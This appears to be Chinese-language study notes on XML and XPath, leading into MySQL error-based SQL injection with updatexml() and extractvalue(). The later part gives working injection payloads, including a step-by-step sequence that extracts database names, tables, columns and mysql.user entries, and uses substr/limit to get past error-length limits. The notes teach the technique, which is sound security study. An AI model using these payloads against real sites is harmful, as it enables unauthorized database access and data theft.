- 什么是xml?
XML 指可扩展标记语言,是一种很像HTML的标记语言(XML 不是 HTML 的替代),XML 的设计宗旨是传输数据,而不是显示数据。XML 标签没有被预定义。用户可以自行定义标签。XML 被设计为具有自我描述性。
- 但xml不会对数据内容做任何事情
下面实例是 Jani 写给 Tove 的便签,存储为 XML:
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
上面的这条便签具有自我描述性。它包含了发送者和接受者的信息,同时拥有标题以及消息主体。但它仍然没有做任何事情,仅仅是包装在 XML 标签中的纯粹的信息。我们需要编写软件或者程序,才能传送、接收和显示出这个文档
- xml可以让用户自定义自己的标签
上面实例中的标签,没有在任何 XML 标准中定义过(比如 <to> 和 <from>)。这些标签是由用户创造的。这是因为 XML 语言没有预定义的标签。XML 允许创作者定义自己的标签和自己的文档结构。
HTML 中使用的标签都是预定义的。HTML 文档只能使用在 HTML 标准中定义过的标签(如 <p>、<h1> 等)。
- xml和html有什么区别?
XML被设计为传输和存储数据,其焦点是数据的内容。
HTML被设计用来显示数据,其焦点是数据的外观。
在大多数web应用程序中,XML用于传输数据,而HTML用于格式化并显示数据。
- 什么是报错注入?
报错注入在没法用union联合查询时用,且不能过滤一些关键的函数。
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里主要记录一下xpath语法错误导致的报错注入类型
- 报错注入的条件是什么?
1.报错信息必须是动态的、来自数据库的报错信息。
2.网站写死的、自定义的报错提示不算。
- 什么是xpath?
XPath 是一门在 XML 文档中查找信息的语言。
XPath 使用路径表达式在 XML 文档中进行导航;
XPath 包含一个标准函数库。
...
来源于:XPath 教程 | 菜鸟教程
- 什么是xpath节点?
在 XPath 中,有七种类型的节点:元素、属性、文本、命名空间、处理指令、注释以及文档(根)节点。XML 文档是被作为节点树来对待的。树的根被称为文档节点或者根节点。
例子:下面这个 XML 文档:
<?xml version="1.0" encoding="UTF-8"?><bookstore><book><title lang="en">Harry Potter</title><author>J K. Rowling</author><year>2005</year><price>29.99</price></book>
</bookstore>
上面的XML文档中的节点例子:
<bookstore> (文档节点)
<author>J K. Rowling</author> (元素节点)
lang="en" (属性节点)
来源于:XPath 节点 | 菜鸟教程
- 报错函数
updatexml函数
语法:UPDATEXML(XML_document,XPath_string,new_value)
第一个参数:是string格式,为XML文档对象的名称,第二个参数:代表路径,Xpath格式的字符串例如//title 第三个参数:string格式,替换查找到的符合条件的数据
SQL报错注入的应用:当使用updatexml(XML_document,XPath_string,new_value)函数时,若xpath_string参数不符合xpath格式,就会报错。
而~符号(ascii编码值:0x7e)是不存在xpath格式中的, 所以一旦在XPath_string参数中使用~符号,就会产生xpath syntax error (xpath语法错误),通过使用这个方法就可以达到报错注入的目的。
函数参数有三个
- XML数据
- XPath表达式:用于指定要修改的节点位置
- 新的节点值:用于替换当前节点的值
updatexml函数报错的原理是:
UPDATEXML(XML_document,XPath_string,new_value);
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式
而第二个参数xpath_string(xpath格式的字符串),我们在注入的时候把第二个参数变为非xpath格式自然会报错
实例:
现在有以下的XML类型的数据:
<root><message><sender>Tom</sender><receiver>Kate</receiver><content>Hello, how are you?</content></message>
</root>
我们可以用updatexml函数来替换节点的值,比如将消息内容的值替换为新的内容
UPDATE messages
SET msg = UPDATEXML(msg, '/root/message/content', 'I am fine, thank you.')
WHERE id = 1;
上面的语句将会把表中id为1的记录的content节点的值修改为"I am fine, thank you."。
实操见:
知识点选自:详解MySQL的UPDATEXML()函数:更新 XML 文档中的节点值 - Python技术站
extractvalue函数:此函数从目标XML中返回包含所查询值的字符串
语法:extractvalue(XML_document,xpath_string)第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串) xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想查询的内容。正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
SQL报错注入的应用:当使用extractvalue(XML_document,xpath_string)函数时,若xpath_string参数不符合xpath格式,就会报错。
而~符号(ascii编码值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_string参数中使用~符号,就会产生xpath syntax error (xpath语法错误),通过使用这个方法就可以达到报错注入的目的。
实操见:
- 突破报错函数长度限制
updatexml() 和extractvalue()函数的报错内容长度不能超过32个字符,常用的解决方式有两种:
- limit 分页
- substr()截取字符
- limit分页
以查询数据库用户为例:
?id=-1' and updatexml(1,concat(0x7e,
(select user
from mysql.user limit 1,1)
),3) -- a
- substr()截取字符
以查询数据库用户为例:
?id=-1' and updatexml(1,concat(0x7e,
substr(
(select group_concat(user)
from mysql.user)
, 1 , 31)
),3) -- a
- 报错注入步骤
1. 判断是否有注入点且注入点类型是什么
参数中添加任意内容,判断是注入点后再判断其注入类型
-- 空格为单行注释符
?id=1' --
2. 判断报错条件
参数中添加报错函数,检查报错信息是否正常回显在页面上
?id=1' and updatexml(1,'~',3) --
3. 获取所有数据库
用concat函数拼接特殊符号和查询结果
1,31表示从第1个字符开始截取,截取31个字符
?id=-1' and updatexml(1,concat('~',
substr(
(select group_concat(schema_name)
from information_schema.schemata)
, 1 , 31)
),3) --
4.获取所有表
?id=-1' and updatexml(1,concat('~',
substr(
(select group_concat(table_name)
from information_schema.tables
where table_schema = 'xxx')
, 1 , 31)
),3) --
5.获取所有字段
?id=-1' and updatexml(1,concat('~',
substr(
(select group_concat(column_name)
from information_schema.columns
where table_schema = 'xxx' and table_name = 'xx')
, 1 , 31)
),3) --
7.获取字段下的数据
本文所有知识点引用源于:
xpath报错注入_xpath syntax_硫酸超的博客-CSDN博客
【精选】SQL报错型注入原理-详细讲解 extractvalue()、updatexml()、floor() 的报错原因-CSDN博客 sql注入之报错注入-CSDN博客
报错注入是什么?一看你就明白了。报错注入原理+步骤+实战案例-CSDN博客
【精选】updatexml函数-报错注入原理学习_身高两米不到的博客-CSDN博客